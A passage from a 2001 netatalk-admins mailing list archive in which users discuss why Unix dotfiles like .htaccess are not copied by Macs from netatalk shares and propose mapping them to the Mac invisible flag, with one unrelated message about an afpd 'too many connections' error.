	with Novell_GroupWise; Thu, 18 Jan 2001 09:12:55 -0800
Message-Id: <sa66b397.017@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.3.1
Date: Thu, 18 Jan 2001 09:12:26 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
Cc: <netatalk-admins@umich.edu>
Subject: Re: Hidden Files Not Being Copied
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA23612

It really doesn't sound like it would be impossible to impliment... something along the lines of:

if <filename> starts with '.' then
  if <filename> is not '.AppleDouble' then
    copy file, stripping leading period
    set invisible to true
    

I know that the MacOS by default WILL copy any hidden files/folders in a directory.  If you want to see nice evidence of this copy the root level of a Mac's disk to a netatalk share.  All the invisible files get copied too.  In fact you'll even get messages about copying the desktop printers, as they reside inside the invisible 'Desktop Folder' at the root level of the disk.  So in theory files comming FROM a UNIX share that start with a period should be made invisible.

I really don't see any reason to keep anything whatsoever like a period in the beginning of the name once it's on the Mac.  It's there in Unix as a flag, it just needs to be paired with the invisible flag on the Mac side.

Actually, that would probably solve a few of the stranger things that happen with invisible folders/files being visible.  Is it possible to have netatalk perform this translataion both ways?  I.E. files from a Mac with the invisible flag get a period added to their name on the Unix side, and files beginning with a period get an invisible flag when copied to the Mac side.  The ideal solution would be to have netatalk seamlessly doing this conversion even with something as simple as a directory listing.  That way it would be completely transparent to everyone.


-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Bryn Hughes
Macintosh Tech Support
Information and Computing Services
Vancouver Community College

email:bhughes@vcc.bc.ca
ph: (604) 443-8702
fax: (604) 443-8353
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

>>> Bill Moran <wmoran@mail.iowna.com> - 1/18/01 7:33 AM >>>
Basil Hussain wrote:
> 
> Hi all,
> 
> > Really, when you think about it, shouldn't Netatalk translate dotfiles
> > to "invisible" files on the Mac? Mangle the filename with an underscore
> > or something. Just a thought/suggestion.
> 
> The above suggestion wouldn't really hold water with any kind of
> out-of-the-norm usage, because what if you actually have non-hidden files
> who's names start with underscores? The same applies to almost any character
> you might think of as well.

I can't see how that would cause a problem. The underscore (or whatever
character) is not there to indicate that the file is "invisible", there
would be some sort of flag for that at the filesystem level, like the
hidden/system/readonly attributes on the old DOS fs. The Mac must have
some sort of attributes to indicate that the file is "invisible" (OK, I
admit, I don't KNOW, but how else would it be done) The mangle character
(underscore in this example) would simply make the filename valid for
the Mac. The Mac wouldn't reverse the translation (If you created a file
from the Mac that started with an underscore it wouldn't necessarily be
invisible) However, on the UNIX box, the file would be created starting
with a dot so that it retained its invisible status if it were created
invisible from the Mac. Somewhat the same way long filenames are mangled
to fit old 8.3 notation. It's a translation scheme really, actually you
could do away with the _ altogether, just send the name minus the dot.
You could get filename contention problems, but this to could be dealt
with somehow.

> Could it not be implemented so, that when a folder duplication or copy
> action is perfomed, Netatalk recognises this somehow and checks the contents
> of the folder for hidden 'dot' files/directories (other than .AppleDouble,
> obviously) and sends a message to the client Mac saying if there are?
> Something along the lines of: "The folder you just copied contained <x>
> hidden files and <y> hidden directories. If you wanted to copy these too,
> you must do it manually.".
> 
> Although (as pondered in my previous message), if the file copy actions are
> initiated client-side, then this couldn't happen, could it? Or could it?

I'm not terribly familiar with Macs, how do you set a file to be
invisible?
The popup option would be a nice feature, but it seems to me that this
could be implemented in a better manner ... something to ponder on. My
problem is that I'm simply not that familiar with Macs.

-Bill



From netatalk.administrators-errors@umich.edu  Thu Jan 18 12:27:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA24263
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 12:27:15 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA27514
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 12:27:15 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA27501
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 12:27:14 -0500 (EST)
Received: from ee.cornell.edu (anise.ee.cornell.edu [128.84.239.14])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA27474
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 12:27:13 -0500 (EST)
Received: from [128.84.239.190] (harrier.ee.cornell.edu [128.84.239.190])
	by ee.cornell.edu (8.9.3/8.9.1) with ESMTP id MAA23789;
	Thu, 18 Jan 2001 12:27:09 -0500 (EST)
Mime-Version: 1.0
X-Sender: rz10@postoffice.mail.cornell.edu
Message-Id: <p04320402b68cd4852e3f@[128.84.239.190]>
In-Reply-To: <B68CB2E2.29EE%basil.hussain@specialreserve.net>
References: <B68CB2E2.29EE%basil.hussain@specialreserve.net>
Date: Thu, 18 Jan 2001 12:26:01 -0500
To: Basil Hussain <basil.hussain@specialreserve.net>,
        Netatalk List <netatalk-admins@umich.edu>
From: Ray Zimmerman <rz10@cornell.edu>
Subject: Re: Hidden Files Not Being Copied
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 2:49 PM +0000 1/18/01, Basil Hussain wrote:
>Hi,
>
>>  I have no problems creating a folder on my local Mac disk with a file
>>  named .htaccess in it. I can duplicate that folder with no trouble
>>  and I can even copy it to my netatalk volume and back with no trouble.
>
>My problem wan't that I couldn't copy. On the contrary, there are no
>problems there. It was just that when copying/duplicating a folder
>*containing* a .htaccess file, the .htaccess file itself wasn't being copied
>(in fact, no 'dot' hidden files at all).
>
>Thanks for the reply anyway.

But that's exactly what I'm saying I can do just fine. I create a 
folder on the Mac and save a file called .htaccess in that folder. I 
copy the folder to my netatalk volume (the file goes with it). I 
duplicate the folder on the netatalk volume (the file is in the 
duplicated folder). I copy the new folder somewhere else on the 
netatalk volume (the .htaccess file gets copied with it).

It all behaves just fine as far as I can see.

... ah ... just tried something else. It seems that if I create the 
.htaccess on the Unix side I run into the trouble you see. But if the 
file is created from the Mac (either via Save As to the netatalk 
volume or via copy from a Mac disk to the netatalk volume) it works 
fine because it encodes the '.' in the file name as ':2e').

Hope this helps ...

	Ray

From netatalk.administrators-errors@umich.edu  Thu Jan 18 12:36:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA24796
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 12:36:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA17192
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 12:36:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA17173
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 12:36:00 -0500 (EST)
Received: from ee.cornell.edu (anise.ee.cornell.edu [128.84.239.14])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA17081
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 12:35:59 -0500 (EST)
Received: from [128.84.239.190] (harrier.ee.cornell.edu [128.84.239.190])
	by ee.cornell.edu (8.9.3/8.9.1) with ESMTP id MAA23983
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 12:35:56 -0500 (EST)
Mime-Version: 1.0
X-Sender: rz10@postoffice.mail.cornell.edu
Message-Id: <p04320404b68cd7e5f992@[128.84.239.190]>
In-Reply-To: <3A670C27.D85FD46B@mail.iowna.com>
References: <B68CB668.29EF%basil.hussain@specialreserve.net>
 <3A670C27.D85FD46B@mail.iowna.com>
Date: Thu, 18 Jan 2001 12:35:50 -0500
To: Netatalk List <netatalk-admins@umich.edu>
From: Ray Zimmerman <rz10@cornell.edu>
Subject: Re: Hidden Files Not Being Copied
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 10:30 AM -0500 1/18/01, Bill Moran wrote:
>I'm not terribly familiar with Macs, how do you set a file to be
>invisible?

Each file has a set of attributes stored with it indicating whether 
it is visible, the file type, creator app, whether it is locked, etc.

I should also mention that on MacOS a filename starting with a . is 
NOT an illegal name. Or to get rid of the double negative ... it's 
JUST FINE. I have .htaccess files on my Mac and they've never behaved 
any differently than files with other names.

The problem is that in *nix the . means it's invisible, whereas on 
the Mac it just means that you wanted to call your file .<something> 
... netatalk has to try to do what you want and I think it seems to 
be doing pretty close to the right thing, though it does seem that it 
could take .files (with the exception of .AppleDouble) and treat them 
as .files with the invisible bit set (I see no need to change the 
name). This way they would be "seen" by the MacOS (but not by the Mac 
user) and hence copied along with the enclosing folder.

Thoughts?

	Ray

From netatalk.administrators-errors@umich.edu  Thu Jan 18 12:48:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA25302
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 12:48:52 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA09169
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 12:48:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA09139
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 12:48:50 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA09090
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 12:48:48 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id f0IHmhZ19794
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 17:48:47 GMT
To: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: Hidden Files Not Being Copied
References: <B68CB2E2.29EE%basil.hussain@specialreserve.net> <p04320402b68cd4852e3f@[128.84.239.190]>
Reply-To: sinclair@dis.strath.ac.uk
Date: Thu, 18 Jan 2001 17:48:43 +0000
Message-ID: <19791.979840123@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>


Talk about the blind leading the blind!!!

Mac files can start with a "." - try it!  That restriction was
removed years ago.

Mac files can be marked hidden (e.g. the Desktop file, the Trash folder...)

Netatalk doesn't show dot files to the Mac.

Because the Mac doesn't see dot files, it doesn't know to copy them.

It should be possible to get netatalk to tell the mac about dot files,
but mark them hidden.  "Just a Simple Matter of Programming." (TM)

Naturally, special care would have to be taken for the .AppleDouble
directory.

Go on, tell me I'm wrong - I've not verified any of this.

Cheers,



Duncan.



From netatalk.administrators-errors@umich.edu  Thu Jan 18 12:49:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA25330
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 12:49:05 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA29448
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 12:48:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA29390
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 12:48:57 -0500 (EST)
Received: from rakete.joerdens.de (rakete.joerdens.de [62.104.116.200])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA29313
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 12:48:55 -0500 (EST)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id SAA08960
	for netatalk-admins@umich.edu; Thu, 18 Jan 2001 18:48:46 +0100
Date: Thu, 18 Jan 2001 18:48:46 +0100
From: Frank Joerdens <frank@joerdens.de>
To: netatalk-admins@umich.edu
Subject: too many connections
Message-ID: <20010118184846.A8867@rakete.joerdens.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
X-Subliminal-Message: Use Linux! Use Linux!

I get the following error:

Jan 18 15:46:16 limedes afpd[14394]: dsi_getsess: too many connections

and clients not being able to connect although I've set the parameter

AFPD_MAX_CLIENTS=100

in the file /etc/atalk/netatalk.conf, and I've got less than 15 Macs
which connect to the server all in all. The version I am running is
1.4b2+asun2.1.3.

Any ideas?

Ta, Frank

From netatalk.administrators-errors@umich.edu  Thu Jan 18 12:57:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA25730
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 12:57:58 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA25572
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 12:57:58 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA25540
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 12:57:57 -0500 (EST)
Received: from ee.cornell.edu (anise.ee.cornell.edu [128.84.239.14])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA25491
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 12:57:55 -0500 (EST)
Received: from [128.84.239.190] (harrier.ee.cornell.edu [128.84.239.190])
	by ee.cornell.edu (8.9.3/8.9.1) with ESMTP id MAA24481;
	Thu, 18 Jan 2001 12:57:46 -0500 (EST)
Mime-Version: 1.0
X-Sender: rz10@postoffice.mail.cornell.edu
Message-Id: <p04320406b68cdc8c11e1@[128.84.239.190]>
In-Reply-To: <sa66b397.017@keam1>
References: <sa66b397.017@keam1>
Date: Thu, 18 Jan 2001 12:57:37 -0500
To: "Bryn Hughes" <bhughes@vcc.bc.ca>, netatalk-admins@umich.edu
From: Ray Zimmerman <rz10@cornell.edu>
Subject: Re: Hidden Files Not Being Copied
Cc: <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I think this is an excellent idea ... probably the best we can do ... 
unfortunately changing the invisible flag from MacOS of my .htaccess 
file, for example, would change the name on the *nix side (and now my 
web server would no longer see it). As a Mac user, changing the state 
of the invisible flag should not have any effects beyond changing the 
visibility of the file, but I guess you pretty much have to throw out 
those kind of expectations when you start working in a mixed OS 
environment.

So, I think it's a good idea.

	Ray


At 9:12 AM -0800 1/18/01, Bryn Hughes wrote:
>It really doesn't sound like it would be impossible to impliment... 
>something along the lines of:
>
>if <filename> starts with '.' then
>   if <filename> is not '.AppleDouble' then
>     copy file, stripping leading period
>     set invisible to true
>    
>
>I know that the MacOS by default WILL copy any hidden files/folders 
>in a directory.  If you want to see nice evidence of this copy the 
>root level of a Mac's disk to a netatalk share.  All the invisible 
>files get copied too.  In fact you'll even get messages about 
>copying the desktop printers, as they reside inside the invisible 
>'Desktop Folder' at the root level of the disk.  So in theory files 
>comming FROM a UNIX share that start with a period should be made 
>invisible.
>
>I really don't see any reason to keep anything whatsoever like a 
>period in the beginning of the name once it's on the Mac.  It's 
>there in Unix as a flag, it just needs to be paired with the 
>invisible flag on the Mac side.
>
>Actually, that would probably solve a few of the stranger things 
>that happen with invisible folders/files being visible.  Is it 
>possible to have netatalk perform this translataion both ways?  I.E. 
>files from a Mac with the invisible flag get a period added to their 
>name on the Unix side, and files beginning with a period get an 
>invisible flag when copied to the Mac side.  The ideal solution 
>would be to have netatalk seamlessly doing this conversion even with 
>something as simple as a directory listing.  That way it would be 
>completely transparent to everyone.

From netatalk.administrators-errors@umich.edu  Thu Jan 18 12:58:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA25757
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 12:58:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA14648
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 12:58:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA14633
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 12:58:13 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA14531
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 12:58:11 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f0IHtt701145;
	Thu, 18 Jan 2001 12:55:56 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A672E07.729F1B14@mail.iowna.com>
Date: Thu, 18 Jan 2001 12:55:19 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Ray Zimmerman <rz10@cornell.edu>
CC: Basil Hussain <basil.hussain@specialreserve.net>,
        Netatalk List <netatalk-admins@umich.edu>
Subject: Re: Hidden Files Not Being Copied
References: <B68CB2E2.29EE%basil.hussain@specialreserve.net> <p04320402b68cd4852e3f@[128.84.239.190]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ray Zimmerman wrote:

> But that's exactly what I'm saying I can do just fine. I create a
> folder on the Mac and save a file called .htaccess in that folder. I
> copy the folder to my netatalk volume (the file goes with it). I
> duplicate the folder on the netatalk volume (the file is in the
> duplicated folder). I copy the new folder somewhere else on the
> netatalk volume (the .htaccess file gets copied with it).
> 
> It all behaves just fine as far as I can see.

Interesting. I wonder if the .AppleDouble &/| .AppleDesktop files keep
this information so it displays properly?
This is an interesting quandry. No matter how you handle the translation
there will be problem occasionally. Since you can create dotfiles on the
Mac that have no special significance, then what happens when you copy
them to the Netatalk volume (you describe this below) This behaviour
would look odd from someone working at a bash prompt, or someone
accessing the same files from Samba.
There will always be some quirks in the translation as long as there are
differences in the filesystems, the trick is to make the quirks as
unobtrusive as possible.

Try this one:
sit down at the UN*X server and change to the volume accessible by the
Macs, do "mkdir temp temp/temp temp/temp/temp"
Make sure all those directories has ownership/perms such that they
should be deletable from the Mac, then walk over to the Mac and try to
delete them.
On my FreeBSD based Netatalk server this will present the user with an
error (something like "can't delete because they're in use") with no
particular explanation. You can walk back to the FreeBSD box and delete
them just fine, and even delete them via Samba from NT.
I've guessed that this is a similar problem, since Netatalk creates the
.AppleDouble files after the fact, but I haven't traced it down yet.

> ... ah ... just tried something else. It seems that if I create the
> .htaccess on the Unix side I run into the trouble you see. But if the
> file is created from the Mac (either via Save As to the netatalk
> volume or via copy from a Mac disk to the netatalk volume) it works
> fine because it encodes the '.' in the file name as ':2e').

Are you saying that if you create ".htaccess" from the Mac, a ls command
on the UN*X box shows ":2ehtaccess" ?

-Bill

From netatalk.administrators-errors@umich.edu  Thu Jan 18 13:01:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA25916
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 13:01:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA02357
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 13:01:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA02341
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 13:01:20 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA02295
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 13:01:19 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f0IHwr701712;
	Thu, 18 Jan 2001 12:58:53 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A672EB9.D8C2527C@mail.iowna.com>
Date: Thu, 18 Jan 2001 12:58:17 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Ray Zimmerman <rz10@cornell.edu>
CC: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: Hidden Files Not Being Copied
References: <B68CB668.29EF%basil.hussain@specialreserve.net>
	 <3A670C27.D85FD46B@mail.iowna.com> <p04320404b68cd7e5f992@[128.84.239.190]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ray Zimmerman wrote:
> 
> At 10:30 AM -0500 1/18/01, Bill Moran wrote:
> >I'm not terribly familiar with Macs, how do you set a file to be
> >invisible?
> 
> Each file has a set of attributes stored with it indicating whether
> it is visible, the file type, creator app, whether it is locked, etc.

Is this part of the resource fork?
If so, how is this resource fork represented through Netatalk? The
invisible attribute could be stored there as well.
Another thought: Why are dotfiles ignored to begin with? Why not just
hide the .AppleDouble and .AppleDesktop files but show other dotfiles?

Getting philosophical,
Bill

From netatalk.administrators-errors@umich.edu  Thu Jan 18 13:01:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA25945
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 13:01:28 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA04978
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 13:01:28 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA04961
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 13:01:28 -0500 (EST)
Received: from ee.cornell.edu (anise.ee.cornell.edu [128.84.239.14])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA04915
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 13:01:26 -0500 (EST)
Received: from [128.84.239.190] (harrier.ee.cornell.edu [128.84.239.190])
	by ee.cornell.edu (8.9.3/8.9.1) with ESMTP id NAA24574
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 13:01:25 -0500 (EST)
Mime-Version: 1.0
X-Sender: rz10@postoffice.mail.cornell.edu
Message-Id: <p04320407b68cdf56b9c0@[128.84.239.190]>
In-Reply-To: <p04320404b68cd7e5f992@[128.84.239.190]>
References: <B68CB668.29EF%basil.hussain@specialreserve.net>
 <3A670C27.D85FD46B@mail.iowna.com>
 <p04320404b68cd7e5f992@[128.84.239.190]>
Date: Thu, 18 Jan 2001 13:01:15 -0500
To: Netatalk List <netatalk-admins@umich.edu>
From: Ray Zimmerman <rz10@cornell.edu>
Subject: Re: Hidden Files Not Being Copied
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:35 PM -0500 1/18/01, Ray Zimmerman (yes, I know that's me) wrote:
>The problem is that in *nix the . means it's invisible, whereas on 
>the Mac it just means that you wanted to call your file .<something> 
>... netatalk has to try to do what you want and I think it seems to 
>be doing pretty close to the right thing, though it does seem that 
>it could take .files (with the exception of .AppleDouble) and treat 
>them as .files with the invisible bit set (I see no need to change 
>the name).

After thinking through it a bit more I think you would need to strip 
the '.' for the Mac side as suggested by Bryn Hughes in order to make 
it 2-way transparent.

	Ray

From netatalk.administrators-errors@umich.edu  Thu Jan 18 13:03:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA26018
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 13:03:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA23460
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 13:03:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA23444
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 13:03:17 -0500 (EST)
Received: from ee.cornell.edu (anise.ee.cornell.edu [128.84.239.14])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA23401
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 13:03:15 -0500 (EST)
Received: from [128.84.239.190] (harrier.ee.cornell.edu [128.84.239.190])
	by ee.cornell.edu (8.9.3/8.9.1) with ESMTP id NAA24611;
	Thu, 18 Jan 2001 13:03:17 -0500 (EST)
Mime-Version: 1.0
X-Sender: rz10@postoffice.mail.cornell.edu
Message-Id: <p04320409b68ce037eea4@[128.84.239.190]>
In-Reply-To: <3A672E07.729F1B14@mail.iowna.com>
References: <B68CB2E2.29EE%basil.hussain@specialreserve.net>
 <p04320402b68cd4852e3f@[128.84.239.190]>
 <3A672E07.729F1B14@mail.iowna.com>
Date: Thu, 18 Jan 2001 13:03:00 -0500
To: Bill Moran <wmoran@mail.iowna.com>
From: Ray Zimmerman <rz10@cornell.edu>
Subject: Re: Hidden Files Not Being Copied
Cc: Basil Hussain <basil.hussain@specialreserve.net>,
        Netatalk List <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:55 PM -0500 1/18/01, Bill Moran wrote:
>Are you saying that if you create ".htaccess" from the Mac, a ls command
>on the UN*X box shows ":2ehtaccess" ?

Exactly.

	Ray

From netatalk.administrators-errors@umich.edu  Thu Jan 18 13:14:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA26483
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 13:14:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA13232
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 13:14:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA13211
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 13:14:50 -0500 (EST)
Received: from ee.cornell.edu (anise.ee.cornell.edu [128.84.239.14])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA13160
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 13:14:48 -0500 (EST)
Received: from [128.84.239.190] (harrier.ee.cornell.edu [128.84.239.190])
	by ee.cornell.edu (8.9.3/8.9.1) with ESMTP id NAA24910;
	Thu, 18 Jan 2001 13:14:53 -0500 (EST)
Mime-Version: 1.0
X-Sender: rz10@postoffice.mail.cornell.edu
Message-Id: <p0432040ab68ce07bfeba@[128.84.239.190]>
In-Reply-To: <3A672EB9.D8C2527C@mail.iowna.com>
References: <B68CB668.29EF%basil.hussain@specialreserve.net>	
 <3A670C27.D85FD46B@mail.iowna.com>
 <p04320404b68cd7e5f992@[128.84.239.190]>
 <3A672EB9.D8C2527C@mail.iowna.com>
Date: Thu, 18 Jan 2001 13:13:59 -0500
To: Bill Moran <wmoran@mail.iowna.com>
